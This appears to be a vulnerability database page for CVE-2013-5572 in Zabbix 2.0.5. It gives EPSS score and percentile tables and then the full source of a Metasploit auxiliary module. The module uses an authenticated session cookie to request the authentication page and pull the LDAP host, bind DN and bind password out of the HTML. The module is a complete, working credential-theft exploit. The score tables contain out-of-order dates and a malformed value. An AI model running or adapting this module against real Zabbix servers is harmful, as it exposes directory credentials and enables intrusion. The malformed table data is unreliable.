CVE-2013-5572 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	7.31%	–	–
2022-03-20	–	–	6.77%	–	–
2022-04-03	–	–	6.77%	–	–
2023-02-26	–	–	6.77%	–	–
2023-03-05	–	–	6.22%	–	–
2023-03-12	–	–	–	1.26%	–
2023-04-16	–	–	–	1.26%	–
2023-10-01	–	–	–	1.09%	–
2024-01-07	–	–	–	1.07%	–
2024-02-11	–	–	–	1.07%	–
2024-06-02	–	–	–	0.96%	–
2024-08-11	–	–	–	0.96%	–
2024-08-25	–	–	–	0.9%	–
2024-10-27	–	–	–	0.84%	–
2024-12-22	–	–	–	0.84%	–
2024-12-29	–	–	–	0.55%	–
2025-02-02	–	–	–	0.55%	–
2025-01-19	–	–	–	0.55%	–
2025-02-02	–	–	–	0.55%	–
2025-03-18	–	–	–	–	5.15%
2025-03-18	–	–	–	–	5.15,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	81%
2022-03-20	79%
2022-04-03	91%
2023-02-26	92%
2023-03-05	91%
2023-03-12	83%
2023-04-16	84%
2023-10-01	83%
2024-01-07	83%
2024-02-11	84%
2024-06-02	83%
2024-08-11	84%
2024-08-25	83%
2024-10-27	83%
2024-12-22	82%
2024-12-29	77%
2025-02-02	78%
2025-01-19	77%
2025-02-02	78%
2025-03-18	89%
2025-03-18	89%

## # This module requires Metasploit # Date: 25-09-2013 # Author: Pablo González # Vendor Homepage: Zabbix -> http://www.zabbix.com # Software Link: http://www.zabbix.com # Version: 2.0.5 # Tested On: Linux (Ubuntu, Suse, CentOS) # CVE: CVE-2013-5572 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-5572 # More Info: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-5572 # http://www.elladodelmal.com/2014/12/como-crear-el-modulo-metasploit-para-el.html # http://seclists.org/fulldisclosure/2013/Sep/151 # http://www.cvedetails.com/cve/CVE-2013-5572/ ## require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'ldap_bind_password Zabbix CVE-2013-5572', 'Description' => %q{ Zabbix 2.0.5 allows remote authenticated users to discover the LDAP bind password by leveraging management-console access and reading the ldap_bind_password value in the HTML source code. }, 'License' => MSF_LICENSE, 'Author' => [ '@pablogonzalezpe, Pablo Gonzalez' ] )) register_options([ OptString.new('zbx_session', [true, 'Cookie zbx_sessionid']), OptString.new('TARGETURI', [true, 'Path Zabbix Authentication','/zabbix/authentication.php']), OptInt.new('TIMEOUT', [true, 'HTTP read response timeout (seconds)', 5]) ], self.class) end def run req end def req resp = send_request_cgi( { 'host' => datastore['RHOST'], 'method' => 'POST', 'uri' => normalize_uri(target_uri.path.to_s), 'cookie' => "zbx_sessionid=#{datastore['zbx_session']}", 'content-type' => 'application/x-www-form-urlencoded' }, datastore['TIMEOUT']) ldap_host(resp) user_passDomain(resp) user_zabbix(resp) end def ldap_host(response) cut = response.body.split("ldap_host\" value=\"")[1] if cut != nil host = cut.split("\"")[0] print_good "LDAP Host => #{host}" end end def user_passDomain(response) cut = response.body.split("ldap_bind_dn\" value=\"")[1] if cut != nil user = cut.split("\"")[0] print_good "User Domain? => #{user}" end cut = response.body.split("name=\"ldap_bind_password\" value=\"")[1] if cut != nil pass = cut.split("\"")[0] print_good "Password Domain? => #{pass}" end end def user_zabbix(response) cut = response.body.split("user\" value=\"")[1] if cut != nil user = cut.split("\"")[0] print_good "User Zabbix => #{user}" end end end